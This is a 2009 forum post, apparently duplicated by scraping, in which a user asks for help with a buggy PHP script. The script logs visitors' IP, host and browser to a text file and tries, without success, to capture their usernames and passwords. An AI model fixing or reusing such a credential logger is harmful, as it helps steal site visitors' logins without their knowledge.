Please, can someone tells me what is wrong with my code?
Posted: Mon Jun 15, 2009 7:48 pm
pickle | Please use [ code=php ], [ code=text ], etc tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read:
Posting Code in the Forums to learn how to do it too.
Hi everyone,
This is my code:
It works fine but the only problem is that on username and password i do not see all user names types nor passwords but i see the ip, host, and browser fine. What am i doing wrong here?
Thanks
pickle | Please use [ code=php ], [ code=text ], etc tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read:
Posting Code in the Forums to learn how to do it too.
Hi everyone,
This is my code:
Code: Select all
<?php
$Date = date("F jS Y, h:iA");
$user_ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
$host = gethostbyaddr($user_ip);
$user_browser = $_SERVER['HTTP_USER_AGENT'];
$username_type=$_SERVER['USERNAME_TYPE];
$username=$_SERVER['USERNAME'];
$password_type=$_SERVER['PASSWORD_TYPE'];
$passwords=$_SERVER['PASSWORDS];
$file = "gaddy.txt";
$fp = fopen($file, "a+");
fputs ($fp, "<br> Date: $Date <bR><br> IP: $user_ip <br><br> Host: $host <br><br> Browser: $user_browser <br><br> Usernames: $username_type <br><br> Passwords: $password_type <br>");
fclose($fp);
?>Thanks
pickle | Please use [ code=php ], [ code=text ], etc tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read: